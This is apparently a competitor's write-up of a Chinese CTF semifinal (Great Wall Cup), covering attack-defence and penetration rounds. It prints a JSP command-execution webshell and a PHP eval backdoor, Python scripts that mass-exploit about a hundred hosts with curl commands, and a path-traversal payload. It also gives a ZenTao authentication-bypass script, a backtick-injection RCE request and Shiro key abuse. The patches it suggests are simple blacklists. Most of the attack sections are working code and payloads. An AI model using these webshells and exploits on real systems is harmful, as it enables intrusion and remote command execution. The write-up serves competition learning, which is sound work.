第一届长城杯信息安全铁人三项赛半决赛 WriteUp

半决赛第二赛区在贵州,awd第一,最后第七,可惜渗透没打好

AWD

30分钟一轮,一个flag 5分,check不过扣200,相当于被40个队打,太亏了,全场就80多个队,没必要修太多导致check不过

Java JSP

预留后门

D盾可以直接扫描出一个后门

一开始就发现了,前几波拿这个后门上了很多分,可能大家都去看php,忘修这个了吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA.
User: 007
Date: 2018/11/28
Time: 10:12
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmdParameter = request.getParameter("cmd1");
if (cmdParameter != null && !cmdParameter.isEmpty()) {
try {
// 构建系统命令
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("sh", "-c", cmdParameter);

// 执行命令并获取输出
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}

// 输出命令执行结果
out.println("Command executed successfully. Output:\n" + output.toString());
} catch (IOException e) {
out.println("Error executing command: " + e.getMessage());
}
}
%>
<html>
<head>
<title>找回密码</title>
<link rel="stylesheet" href="resources/css/bootstrap.min.css">
<link href="resources/css/forget.css" type="text/css" rel="stylesheet"/>
</head>
<body>
<h1 style="margin: 50px 80px; color: darkgray; font-family: cursive;">欢迎来到教务系统</h1>
<div class="main">
<form role="form" action="sendCode.jsp" method="post">
<div class="form-group" align="center">
<input class="form-control" type="text" name="user" placeholder="输入用户名"><br>
<input type="submit" class="btn btn-success" value="下一步">
<input type="button" class="btn btn-info" value="取消" style="margin-left: 20px" onclick="window.location.href='login.jsp'">
</div>
</form>
</div>
<script src="resources/js/jquery-3.2.1.min.js"></script>
<script src="resources/js/popper.min.js"></script>
<script src="resources/js/bootstrap.min.js"></script>
</body>
</html>

payload:

1
/forget.jsp?cmd1=要执行的命令

批量攻击

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re

for i in range(101,200):
url = f"http://172.19.{i}.52:8080/forget.jsp?cmd1="
try:
# req = requests.get(url+"nohup ./apache2 1>/dev/null 2>/dev/null &",timeout=0.5)
req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag")
print(f"172.19.{i}.52",end="-")
print(req.text.split("\n")[6])
except:
print("next")

修复的话cmd1换复杂点的密码就行了,担心改太多check没过

文件上传

该服务的数据库文件data.sql,在创表的时候,默认添加了个教师权限的账户

1
admin/admin1

教师端的个人信息上传头像处存在任意文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import com.jspsmart.upload.File;
import com.jspsmart.upload.Request;
import com.jspsmart.upload.SmartUpload;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet({"/upload_teacherImg"})
public class upload_teacherImg extends HttpServlet {
public upload_teacherImg() {
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html;charset=utf-8");
response.setCharacterEncoding("utf-8");
request.setCharacterEncoding("utf-8");
PrintWriter out = response.getWriter();
SmartUpload smartUpload = new SmartUpload();
Request rq = smartUpload.getRequest();
ServletConfig config = this.getServletConfig();
smartUpload.initialize(config, request, response);

try {
smartUpload.upload();
String id = rq.getParameter("id");
File smartFile = smartUpload.getFiles().getFile(0);
smartFile.saveAs("/userImg/" + smartFile.getFileName().toString());
out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>");
} catch (Exception var9) {
out.print(var9);
}

}
}

通过注册得到的学生权限账户上传文件则是500

删掉cookie也能打,未授权上传任意文件,转去intruder批量传马就行了

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re

for i in range(101,200):
url = f"http://172.19.{i}.52:8080/userImg/2.jsp?pwd=023&i="
try:
# req = requests.get(url+"nohup ./apache2 1>/dev/null 2>/dev/null &",timeout=0.5)
req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag")
print(f"172.19.{i}.52",end="-")
print(req.text.split("\n")[6])
except:
print("next")

修复的话,加个黑名单waf就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final String[] BLACKLIST_EXTENSIONS = {".jsp", ".jspx", ".jspf", ".jsw", "jspa", "jsv", "jtml"};
...
try {
smartUpload.upload();
String id = rq.getParameter("id");
File smartFile = smartUpload.getFiles().getFile(0);

// 检查文件扩展名是否在黑名单中
if (!isExtensionAllowed(smartFile.getFileName())) {
throw new IllegalArgumentException("Fuck you ~");
}

smartFile.saveAs("/userImg/" + smartFile.getFileName().toString());
out.print("<script>alert(\"上传成功!\");window.location.href='teacher/personal.jsp';</script>");
} catch (Exception var9) {
out.print(var9);
}
...
...
private static boolean isExtensionAllowed(String fileName) {
for (String extension : BLACKLIST_EXTENSIONS) {
if (fileName.toLowerCase().endsWith(extension)) {
return false;
}
}
return true;
}
...

反编译class文件并重新编译:https://blog.csdn.net/weixin_39660224/article/details/106722129

jadx导出为java文件,再重新编译:

1
javac -classpath D:\java\security\ccb\src\main\webapp\ROOT\WEB-INF\lib\* .\upload_teacherImg.java

可以选择加个参数避免乱码-encoding UTF-8或者-encoding GBK

php cms

预留后门

d盾可以扫出一个后门/app/api/controller/v1/Token.php

1
2
3
   public function test(){
@eval(getallheaders()['Referer']);
}

直接去调用这个test方法,传入Referer的值就行了

1
2
/api/v1.token/test
Referer:system("curl http://10.10.1.50:9028/competition/flagManager/getFlag");

批量攻击

1
2
3
4
5
6
7
8
9
10
11
12
import requests

for i in range(101, 200):
url = f"http://172.19.{i}.42/api/v1.token/test"
try:
headers = {'Referer': 'system("curl http://10.10.1.50:9028/competition/flagManager/getFlag");'}
req = requests.post(url, headers=headers)
print(f"172.19.{i}.42", end="-")
print(req.text)
except Exception as e:
print("next")

修的话,注释掉那个命令执行就行了

1
//@eval(getallheaders()['Referer']);

文件上传

比赛时利用sql文件建库的时候留了个上传类型的后门phtml(官方拉取下来的项目并没有phtml)

1
composer create-project --prefer-dist funadmin/funadmin funadmin

复现时,在官方下的sql文件加上phtml,在搭建环境

先注册个号,再点击头像上传(后面发现是未授权的,不需要每一个ip的服务都注册账号),直接打未授权文件上传就行了

前端后缀名校验,bp改一下后缀名为phtml就行了

上传到了/storage/uploads/20240501/3f232941d17949b39942f598f43b42f7.phtml路径下

这里使用bp批量上传木马,没有使用脚本,响应的木马文件名也是随机了,当时来不及写匹配脚本利用了,就自己手打了2轮多,时间也是够用

设置变化值为ip中间那个值,bp开跑就行了

修的话,

本地查看/config/database.php,用数据库密码连接,删除其中的phtml,并不能修好

1
UPDATE `fun_config` SET `value` = 'mp4,mp3,png,gif,jpg,jpeg,webp', `update_time` = UNIX_TIMESTAMP() WHERE `id` = 31;

找到实现上传功能的文件/frontend/controller/Ajax.php

加个白名单waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 允许上传的文件后缀名
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'mp4', 'mp3'];

// 获取上传的文件
$file = $this->request->file('file');

// 检查文件是否为空
if (!$file) {
throw new Exception('No file uploaded.');
}

// 获取文件后缀名
$extension = strtolower(pathinfo($file->getOriginalName(), PATHINFO_EXTENSION));

// 检查文件后缀是否在白名单中
if (!in_array($extension, $allowedExtensions)) {
throw new Exception('Fuck you ~');
}

不影响功能的正常使用

任意文件读取

还是在/frontend/controller/Ajax.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* @return \think\response\Json
* 获取文件
*/
public function getfile($file)
{
$file = root_path().'public/storage/uploads/'.$file;
// 检查文件是否存在
if (!file_exists($file)) {
$result = ['code' => 0, 'msg' => lang('file not exists!')];
return json($result);
}

// 获取文件名
$fileName = basename($file);

// 设置HTTP响应头
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $fileName);
header('Content-Length: ' . filesize($file));

// 读取文件并输出给用户
readfile($file);

// 终止脚本继续执行
exit;
}

很直白的文件读取,没有任何过滤

payload

1
/frontend/Ajax/getfile?file=../../../../../../etc/passwd

由于flag是通过curl http://10.10.1.50:9028/competition/flagManager/getFlag获取的,使用这个任意文件读取并不能获取到flag

加个替换为空就行了

1
2
$file = str_replace("../","",$file);
$file = str_replace("flag","",$file);

DocToolkit

预留后门

jadx反编译,翻到个预留后门

1
/test/backd0or?cmd=cat /etc/passwd

批量利用

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re

for i in range(101,200):
url = f"http://172.19.{i}.32:8080/test/backd0or?cmd="
try:
# req = requests.get(url+"nohup ./apache2 1>/dev/null 2>/dev/null &",timeout=0.5)
req = requests.get(url+"curl http://10.10.1.50:9028/competition/flagManager/getFlag")
print(f"172.19.{i}.32",end="-")
print(req.text.split("\n")[6])
except:
print("next")

修:点击文件->保存项目,导出为java文件

把后门路径改复杂点

解压jar包

1
jar -xvf .\DocToolkit-0.0.1-SNAPSHOT.jar 

重新编译修改的这个java文件就行了

1
javac -classpath C:\Users\HONOR\Desktop\Doc\resources\BOOT-INF\lib\* .\TestController.java

再用bandzip打开原来jar包,把编译好的class文件托进去覆盖掉就行了

1
java -jar DocToolkit-0.0.1-SNAPSHOT.jar

这样就修好咯

Shiro反序列化

可以翻到shiro key

1
QZIysgMYhG7/CzIJlVpR1g==

拿工具看看能不能打通,起在虚拟机找不到利用链,本地就行

比赛的时候全场的shiro key应该是一样的,所以可以批量打

最后放个批量提交flag脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url = "http://10.10.1.50:2301/competition/awdController/submitFlag"
f = open("flags","r").readlines()
header= {
"Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MTM3NDUxODgsInVzZXJJZCI6ImQxNDgyMzkxYmRmMjgwZWQ3NGE3ZDFhZTRiN2VjYzZhIn0.Ckfzrd8uMWMwn5-79h6lnHJXoJC4quiUt2BwKqUx5wM"
}
for i in f:
try:
data = {
"competitionId":"ce8aeddc22641cae2d707e5318f72b7c",
"commitFlag":i.split("-")[1],
"commitDockerIp":i.split("-")[0]
}
req = requests.post(url,data=data,headers=header)
print(req.text)
except:
pass

ISW

MultiBC

1
.\fscan64.exe -h 172.17.171.10 -p 1-65535

可以扫出来个thinkphp的nday

写马后,蚁剑连接,根目录下有个flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.171.10 netmask 255.255.255.0 broadcast 172.18.171.255
inet6 fe80::f841:d3ff:fe24:9200 prefixlen 64 scopeid 0x20<link>
ether fa:41:d3:24:92:00 txqueuelen 1000 (Ethernet)
RX packets 353420 bytes 30531156 (30.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 377907 bytes 33234724 (33.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 147290 bytes 11923923 (11.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 147290 bytes 11923923 (11.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

扫网段,有个ftp未授权,可以下下来个OA源码压缩包,再分别扫ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 172.18.171.30 is alive
[*] Icmp alive hosts len is: 1
172.18.171.30:22 open
172.18.171.30:8080 open
172.18.171.30:59696 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://172.18.171.30:8080 code:302 len:0 title:None 跳转url: http://172.18.171.30:8080/login;jsessionid=69DC67E85C9C9A089677FF464E999412
[*] WebTitle: http://172.18.171.30:8080/login;jsessionid=69DC67E85C9C9A089677FF464E999412 code:200 len:3860 title:智联科技 ERP 后台登陆
[+] http://172.18.171.30:8080 poc-yaml-spring-actuator-heapdump-file
[+] http://172.18.171.30:8080 poc-yaml-springboot-env-unauth spring2
已完成 2/3 [-] ssh 172.18.171.30:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

发现泄露路径在:8080/actuator/heapdump

JDumpSpider梭一下

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
1
2
3
4
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

找到key,拿工具直接利用拿shell,然后家目录下有个pwn题,没打通,没找到其他flag

shiro那台机子还有另一个网段,有另一台内网机子,当时时间已经不大够了

SingleBC2

扫描网站目录发现存在backup.zip文件,下载后发现流量文件,提取zip文件解压爆破密码后获取flag

后面比赛结束了才发现流量包导出的文件中还藏了个1000分的flag

SingleBC1

打禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709,比赛时没发现这个poc,亏大了,亏我本地还存了poc

权限绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

header={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}

def bypasscookie(url,session):
target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
r=session.get(target,headers=header)
zentaosid=r.cookies.get_dict()['zentaosid']
print(zentaosid)

header["Cookie"]="zentaosid="+zentaosid
resp=session.get(url+"/index.php?m=my&f=index",headers=header)
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
print("绕过登陆验证")
else:
print("无法绕过验证")



if __name__ == '__main__':
url="http://127.0.0.1:8081/shandao/www/"
session=requests.Session()
bypasscookie(url,session)

后台RCE:

先创建Gitlab代码库,拿到repoID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68

创建好后,去到
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65

第一届长城杯信息安全铁人三项赛半决赛 WriteUp
https://www.smal1.black/2024长城杯信息安全铁人三项赛半决赛 WP.html
作者
Small Black
发布于
2024年5月2日
许可协议